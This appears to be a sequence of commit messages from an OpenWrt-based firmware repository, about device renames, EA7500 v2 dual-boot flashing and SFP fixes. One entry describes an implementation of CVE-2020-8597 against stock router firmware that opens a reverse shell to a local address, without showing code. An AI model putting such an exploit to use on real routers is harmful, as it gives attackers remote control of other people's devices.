This replaces the internal device names "Audi" and "Viper" with the
real model names, which a user would look for. This makes the
Linksys devices on this target consistent with the names recently
changed for mvebu based on the same idea.
As a consequence, the "viper" device definition is split into two
separate definitions with the correct names for both real models.

In imx6, we currently use the model from DTS to derive a board name
manually in /lib/imx6.sh.
However, if we have individual DTS files anyway, we can exploit
generic 02_sysinfo and use the compatible as board name directly.
While at it, remove the wildcards from /lib/upgrade/platform.sh as
these might make code shorter, but are quite unpleasant when grepping
for a specific device.

OpenWrt lately has harmonized device (definition) names to the
pattern vendor_model to improve overall consistency, also with
other values like the DTS compatible.
This patch applies that scheme to the layerscape target.
Since this (intentionally) creates a bigger overlap between DTS names,
compatible, and device definition name, it also moves DEVICE_DTS and
SUPPORTED_DEVICES definitions to the Device/Default blocks.
Apart from that, it also modifies several packages to use consistent
naming in order to keep the $(1) file references working.
While at it, remove one layer of complexity for the setup in
tfa-layerscape package.

Everything works! Been running it for a couple weeks now and haven't had
any problems. Please let me know if you run into any.
Installation:
Flash factory image through GUI.
This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.
Reverting to factory firmware:
Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
your router simply flash the OEM image at this point.

Between kernels 4.20 and 5.0, a new variant of this board has been
introduced ("Single Shot"), and the existing one has been renamed
with the appendix "Double Shot". [1]
This also adjusted the first compatible in the list:
marvell,armada8040-mcbin -> marvell,armada8040-mcbin-doubleshot
This patch updates the OpenWrt implementation of this device by
adjusting the relevant references to that compatible (i.e., our
board name).
To still provide support for 4.19 with our setup, this adds a
small patch to change the compatible there as well.

[update DTSI include name]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Linksys devices in mvebu target feature a mixed naming,
where parts are based on the official product name (device
node, image; e.g. WRT3200ACM) and parts are based on the
internal code name (DTS file name, compatible, LED labels;
e.g. rango). This inconsistent naming has been perceived
as quite confusing.
A recent attempt by Paul Spooren to harmonize this naming
in kernel has been declined there. However, for us it still
makes sense to apply at least a part of these changes
locally.
Primarily, this patch changes the compatible in DTS and thus
the board name used in various scripts to have them in line
with the device, model and image names. Due to the recent
switch from swconfig to DSA, this allows us to drop
SUPPORTED_DEVICES and thus prevent seamless upgrade between
these incompatible setups.
However, this does not include the LED label rename from
Paul's initial patch: I don't think it's worth keeping the
enormous diff locally for this case, as we can implement
this much easier in 01_leds if we have to live with the
inconsistency anyway.

An implementation of CVE-2020-8597 against stock firmware version 1.0.14
This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177

The Linksys EA7500 v2 is advertised as AC1900, but its internal
hardware is AC2600 capable.
Hardware
--------
SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM: 256M (Nanya NT5CC128M16IP-DI)
FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI)
ETH: 5x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
- 2.4GHz: 1x MT7615N (4x4:4)
- 5GHz: 1x MT7615N (4x4:4)
- 4 antennas: 3 external detachable antennas and 1 internal
USB:
- 1x USB 3.0
- 1x USB 2.0
BTN:
- 1x Reset button
- 1x WPS button
LEDS:
- 1x White led (Power)
- 6x Green leds (link lan1-lan4, link wan, wps)
- 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable)
Everything works correctly.
Installation
------------
The “factory” openwrt image can be flashed directly from OEM stock
firmware. After the flash the router will reboot automatically.
However, due to the dual boot system, the first installation could fail
(if you want to know why, read the footnotes).
If the flash succeed and you can reach OpenWrt through the web
interface or ssh, you are done.
Otherwise the router will try to boot 3 times and then will
automatically boot the OEM firmware (don’t turn off the router.
Simply wait and try to reach the router through the web interface
every now and then, it will take few minutes).
After this, you should be back in the OEM firmware.
Now you have to flash the OEM Firmware over itself using the OEM web
interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img
downloaded from the Linksys website).
When the router reboots flash the “factory” OpenWrt image and this
time it should work.
After the OpenWrt installation you have to use the sysupgrade image
for future updates.
Restore OEM Firmware
--------------------
After the OpenWrt flash, the OEM firmware is still stored in the
second partition thanks to the dual boot system.
You can switch from OpenWrt to OEM firmware and vice-versa failing
the boot 3 times in a row:
1) power on the router
2) wait 15 seconds
3) power off the router
4) repeat steps 1-2-3 twice more.
5) power on the router and you should be in the “other” firmware
If you want to completely remove OpenWrt from your router, switch to
the OEM firmware and then flash OEM firmware from the web interface
as a normal update.
This procedure will overwrite the OpenWrt partition.
Footnotes
---------
The Linksys EA7500-v2 has a dual boot system to avoid bricks.
This system works using 2 pair of partitions:
1) "kernel" and "rootfs"
2) "alt_kernel" and "alt_rootfs".
After 3 failed boot attempts, the bootloader tries to boot the other
pair of partitions and so on.
This system is managed by the bootloader, which writes a bootcount in
the s_env partition, and if successfully booted, the system add a
"zero-bootcount" after the previous value.
A system update performed from OEM firmware, writes the firmware on the
other pair of partitions and sets the bootloader to boot the new pair
of partitions editing the “boot_part” variable in the bootloader vars.
Effectively it's a quick and safe system to switch the selected boot
partition.
Another way to switch the boot partition is:
1) power on the router
2) wait 15 seconds
3) power off the router
4) repeat steps 1-2-3 twice more.
5) power on the router and you should be in the “other” firmware
In this OpenWrt port, this dual boot system is partially working
because the bootloader sets the right rootfs partition in the cmdline
but unfortunately OpenWrt for ramips platform overwrites the cmdline
so is not possible to detect the right rootfs partition.
Because all of this, I preferred to simply use the first pair of
partitions and set read-only the other pair.
However this solution is not optimal because is not possible to know
without opening the case which is the current booted partition.
Let’s take for example a router booting the OEM firmware from the first
pair of partitions. If we flash the OpenWrt image, it will be written
on the second pair. In this situation the router will bootloop 3 times
and then will automatically come back to the first pair of partitions
containg the OEM firmware.
In this situation, to flash OpenWrt correctly is necessary to switch
the booting partition, flashing again the OEM firmware over itself.
At this point the OEM firmware is on both pair of partitions but the
current booted pair is the second one.
Now, flashing the OpenWrt factory image will write the firmware on
the first pair and then will boot correctly.
If this limitation in the ramips platform about the cmdline will be
fixed, the dual boot system can also be implemented in OpenWrt with
almost no effort.

Certain SFP modules (most notably Nokia GPON ones) first check
connectivity on 1000base-x, and switch to 2500base-x afterwards. This
is considered a quirk so the phylink switches the interface to
2500base-x as well.
However, after power-cycling the uDPU device, network interface/SFP module
will not work correctly until the module is re-seated. This patch
resolves this issue by forcing the interface to be brought up in
2500base-x mode by default.

We do not have to define package for each board, and
consider variant's building/installing.
It is easier to maintain ls-rcw with only one package
installing all boards RCW binaries as intermediate
files, each of which is just about hundreds of bytes.
